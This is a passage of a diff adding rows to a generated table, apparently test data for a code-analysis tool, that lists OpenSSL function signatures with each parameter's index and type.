| X509_NAME ** | +| (CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **) | | ossl_cms_SignerIdentifier_get0_signer_id | 3 | ASN1_INTEGER ** | +| (CMS_SignerIdentifier *,X509 *) | | ossl_cms_SignerIdentifier_cert_cmp | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,X509 *) | | ossl_cms_SignerIdentifier_cert_cmp | 1 | X509 * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 0 | CMS_SignerIdentifier * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 1 | X509 * | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 2 | int | +| (CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *) | | ossl_cms_set1_SignerIdentifier | 3 | const CMS_CTX * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_md_ctx | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_pkey_ctx | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | CMS_SignerInfo_get0_signature | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *) | | ossl_cms_encode_Receipt | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,BIO *) | | CMS_SignerInfo_verify_content | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,BIO *) | | CMS_SignerInfo_verify_content | 1 | BIO * | +| (CMS_SignerInfo *,CMS_ReceiptRequest *) | | CMS_add1_ReceiptRequest | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,CMS_ReceiptRequest *) | | CMS_add1_ReceiptRequest | 1 | CMS_ReceiptRequest * | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 1 | EVP_PKEY ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 2 | X509 ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 3 | X509_ALGOR ** | +| (CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **) | | CMS_SignerInfo_get0_algs | 4 | X509_ALGOR ** | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_cert_cmp | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_cert_cmp | 1 | X509 * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_set1_signer_cert | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *) | | CMS_SignerInfo_set1_signer_cert | 1 | X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 1 | X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 2 | EVP_PKEY * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 3 | stack_st_X509 * | +| (CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int) | | CMS_sign_receipt | 4 | unsigned int | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_signed_add1_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_signed_add1_attr | 1 | X509_ATTRIBUTE * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_unsigned_add1_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,X509_ATTRIBUTE *) | | CMS_unsigned_add1_attr | 1 | X509_ATTRIBUTE * | +| (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | int | +| (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | int | +| (CMS_SignerInfo *,stack_st_X509_ALGOR *) | | CMS_add_smimecap | 0 | CMS_SignerInfo * | +| (CMS_SignerInfo *,stack_st_X509_ALGOR *) | | CMS_add_smimecap | 1 | stack_st_X509_ALGOR * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 0 | COMP_CTX * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 1 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 2 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 3 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_compress_block | 4 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 0 | COMP_CTX * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 1 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 2 | int | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 3 | unsigned char * | +| (COMP_CTX *,unsigned char *,int,unsigned char *,int) | | COMP_expand_block | 4 | int | +| (COMP_METHOD *) | | COMP_CTX_new | 0 | COMP_METHOD * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 0 | CONF * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 1 | CONF_VALUE * | +| (CONF *,CONF_VALUE *,CONF_VALUE *) | | _CONF_add_string | 2 | CONF_VALUE * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 0 | CONF * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 1 | X509V3_CTX * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 2 | const char * | +| (CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **) | | X509V3_EXT_add_nconf_sk | 3 | stack_st_X509_EXTENSION ** | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 0 | CONF * | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 1 | X509V3_CTX * | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 2 | int | +| (CONF *,X509V3_CTX *,int,const char *) | | X509V3_EXT_nconf_nid | 3 | const char * | +| (CONF *,const char *) | | TS_CONF_get_tsa_section | 0 | CONF * | +| (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | const char * | +| (CONF *,const char *) | | _CONF_new_section | 0 | CONF * | +| (CONF *,const char *) | | _CONF_new_section | 1 | const char * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 0 | CONF * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 1 | const char * | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 2 | TS_serial_cb | +| (CONF *,const char *,TS_serial_cb,TS_RESP_CTX *) | | TS_CONF_set_serial | 3 | TS_RESP_CTX * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 0 | CONF * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 1 | const char * | +| (CONF *,const char *,X509_ACERT *) | | X509_ACERT_add_attr_nconf | 2 | X509_ACERT * | +| (CONF *,lhash_st_CONF_VALUE *) | | CONF_set_nconf | 0 | CONF * | +| (CONF *,lhash_st_CONF_VALUE *) | | CONF_set_nconf | 1 | lhash_st_CONF_VALUE * | +| (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 0 | CONF_IMODULE * | +| (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | unsigned long | +| (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 0 | CONF_IMODULE * | +| (CONF_IMODULE *,void *) | | CONF_imodule_set_usr_data | 1 | void * | +| (CONF_MODULE *) | | CONF_module_get_usr_data | 0 | CONF_MODULE * | +| (CONF_MODULE *,void *) | | CONF_module_set_usr_data | 0 | CONF_MODULE * | +| (CONF_MODULE *,void *) | | CONF_module_set_usr_data | 1 | void * | +| (CRL_DIST_POINTS *) | | CRL_DIST_POINTS_free | 0 | CRL_DIST_POINTS * | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 0 | CRL_DIST_POINTS ** | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 1 | const unsigned char ** | +| (CRL_DIST_POINTS **,const unsigned char **,long) | | d2i_CRL_DIST_POINTS | 2 | long | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 0 | CRYPTO_EX_DATA * | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 1 | int | +| (CRYPTO_EX_DATA *,int,void *) | | CRYPTO_set_ex_data | 2 | void * | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 0 | CRYPTO_RCU_LOCK * | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 1 | rcu_cb_fn | +| (CRYPTO_RCU_LOCK *,rcu_cb_fn,void *) | | ossl_rcu_call | 2 | void * | +| (CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_native_join | 0 | CRYPTO_THREAD * | +| (CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_native_join | 1 | CRYPTO_THREAD_RETVAL * | +| (CRYPTO_THREAD_LOCAL *) | | CRYPTO_THREAD_cleanup_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *) | | CRYPTO_THREAD_get_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 0 | CRYPTO_THREAD_LOCAL * | +| (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 1 | void * | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 0 | CRYPTO_THREAD_ROUTINE | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 1 | void * | +| (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | int | | (CRegKey &) | CRegKey | CRegKey | 0 | CRegKey & | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 0 | CTLOG ** | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 1 | const char * | +| (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 2 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 0 | CTLOG ** | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 1 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 2 | const char * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 3 | OSSL_LIB_CTX * | +| (CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_from_base64_ex | 4 | const char * | +| (CT_POLICY_EVAL_CTX *,CTLOG_STORE *) | | CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,CTLOG_STORE *) | | CT_POLICY_EVAL_CTX_set_shared_CTLOG_STORE | 1 | CTLOG_STORE * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_cert | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_cert | 1 | X509 * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_issuer | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,X509 *) | | CT_POLICY_EVAL_CTX_set1_issuer | 1 | X509 * | +| (CT_POLICY_EVAL_CTX *,uint64_t) | | CT_POLICY_EVAL_CTX_set_time | 0 | CT_POLICY_EVAL_CTX * | +| (CT_POLICY_EVAL_CTX *,uint64_t) | | CT_POLICY_EVAL_CTX_set_time | 1 | uint64_t | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 0 | DES_LONG * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 1 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 2 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_decrypt3 | 3 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 0 | DES_LONG * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 1 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 2 | DES_key_schedule * | +| (DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *) | | DES_encrypt3 | 3 | DES_key_schedule * | +| (DES_cblock *) | | DES_random_key | 0 | DES_cblock * | +| (DES_cblock *) | | DES_set_odd_parity | 0 | DES_cblock * | +| (DH *) | | DH_get0_engine | 0 | DH * | +| (DH *) | | ossl_dh_get0_params | 0 | DH * | +| (DH *) | | ssl_dh_to_pkey | 0 | DH * | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 0 | DH ** | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 2 | long | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 0 | DH ** | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 2 | long | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 0 | DH ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 2 | long | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 0 | DH ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 2 | long | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 0 | DH * | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 1 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 2 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 0 | DH * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 1 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 2 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 3 | BIGNUM * | +| (DH *,OSSL_LIB_CTX *) | | ossl_dh_set0_libctx | 0 | DH * | +| (DH *,OSSL_LIB_CTX *) | | ossl_dh_set0_libctx | 1 | OSSL_LIB_CTX * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 0 | DH * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 1 | OSSL_PARAM_BLD * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 2 | OSSL_PARAM[] | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 0 | DH * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 1 | OSSL_PARAM_BLD * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 2 | OSSL_PARAM[] | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 3 | int | +| (DH *,const DH_METHOD *) | | DH_set_method | 0 | DH * | +| (DH *,const DH_METHOD *) | | DH_set_method | 1 | const DH_METHOD * | +| (DH *,const OSSL_PARAM[]) | | ossl_dh_params_fromdata | 0 | DH * | +| (DH *,const OSSL_PARAM[]) | | ossl_dh_params_fromdata | 1 | const OSSL_PARAM[] | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 0 | DH * | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 1 | const OSSL_PARAM[] | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | int | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 0 | DH * | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 1 | const unsigned char * | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | size_t | +| (DH *,int) | | DH_clear_flags | 0 | DH * | +| (DH *,int) | | DH_clear_flags | 1 | int | +| (DH *,int) | | DH_set_flags | 0 | DH * | +| (DH *,int) | | DH_set_flags | 1 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 0 | DH * | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 1 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 2 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 3 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 4 | BN_GENCB * | +| (DH *,long) | | DH_set_length | 0 | DH * | +| (DH *,long) | | DH_set_length | 1 | long | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_bn_mod_exp | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_compute_key | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_compute_key | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_finish | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_finish | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_key | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_key | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_params | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_params | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_init | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_init | 1 | ..(*)(..) | +| (DH_METHOD *,const char *) | | DH_meth_set1_name | 0 | DH_METHOD * | +| (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | const char * | +| (DH_METHOD *,int) | | DH_meth_set_flags | 0 | DH_METHOD * | +| (DH_METHOD *,int) | | DH_meth_set_flags | 1 | int | +| (DH_METHOD *,void *) | | DH_meth_set0_app_data | 0 | DH_METHOD * | +| (DH_METHOD *,void *) | | DH_meth_set0_app_data | 1 | void * | +| (DIST_POINT *) | | DIST_POINT_free | 0 | DIST_POINT * | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 0 | DIST_POINT ** | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 1 | const unsigned char ** | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 2 | long | +| (DIST_POINT_NAME *) | | DIST_POINT_NAME_free | 0 | DIST_POINT_NAME * | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 0 | DIST_POINT_NAME ** | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 1 | const unsigned char ** | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 2 | long | +| (DIST_POINT_NAME *,const X509_NAME *) | | DIST_POINT_set_dpname | 0 | DIST_POINT_NAME * | +| (DIST_POINT_NAME *,const X509_NAME *) | | DIST_POINT_set_dpname | 1 | const X509_NAME * | +| (DSA *) | | DSA_get0_engine | 0 | DSA * | +| (DSA *) | | DSA_get_method | 0 | DSA * | +| (DSA *) | | ossl_dsa_get0_params | 0 | DSA * | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 2 | long | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 2 | long | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 0 | DSA * | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 1 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 2 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 0 | DSA * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 1 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 2 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 3 | BIGNUM * | +| (DSA *,OSSL_LIB_CTX *) | | ossl_dsa_set0_libctx | 0 | DSA * | +| (DSA *,OSSL_LIB_CTX *) | | ossl_dsa_set0_libctx | 1 | OSSL_LIB_CTX * | +| (DSA *,const DSA_METHOD *) | | DSA_set_method | 0 | DSA * | +| (DSA *,const DSA_METHOD *) | | DSA_set_method | 1 | const DSA_METHOD * | +| (DSA *,const OSSL_PARAM[]) | | ossl_dsa_ffc_params_fromdata | 0 | DSA * | +| (DSA *,const OSSL_PARAM[]) | | ossl_dsa_ffc_params_fromdata | 1 | const OSSL_PARAM[] | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 0 | DSA * | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 1 | const OSSL_PARAM[] | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | int | +| (DSA *,int) | | DSA_clear_flags | 0 | DSA * | +| (DSA *,int) | | DSA_clear_flags | 1 | int | +| (DSA *,int) | | DSA_set_flags | 0 | DSA * | +| (DSA *,int) | | DSA_set_flags | 1 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 0 | DSA * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 1 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 2 | const unsigned char * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 3 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 4 | int * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 5 | unsigned long * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 6 | BN_GENCB * | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 0 | DSA * | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 1 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 2 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 3 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 4 | BN_GENCB * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_bn_mod_exp | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_finish | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_finish | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_init | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_init | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_keygen | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_keygen | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_mod_exp | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_mod_exp | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_paramgen | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_paramgen | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign_setup | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign_setup | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_verify | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_verify | 1 | ..(*)(..) | +| (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 0 | DSA_METHOD * | +| (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | const char * | +| (DSA_METHOD *,int) | | DSA_meth_set_flags | 0 | DSA_METHOD * | +| (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | int | +| (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 0 | DSA_METHOD * | +| (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 1 | void * | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 0 | DSA_SIG ** | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 1 | const unsigned char ** | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 2 | long | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 0 | DSA_SIG * | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 1 | BIGNUM * | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 2 | BIGNUM * | +| (DSO *) | | DSO_flags | 0 | DSO * | +| (DSO *) | | DSO_get_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_convert_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_convert_filename | 1 | const char * | +| (DSO *,const char *) | | DSO_set_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_set_filename | 1 | const char * | +| (DSO 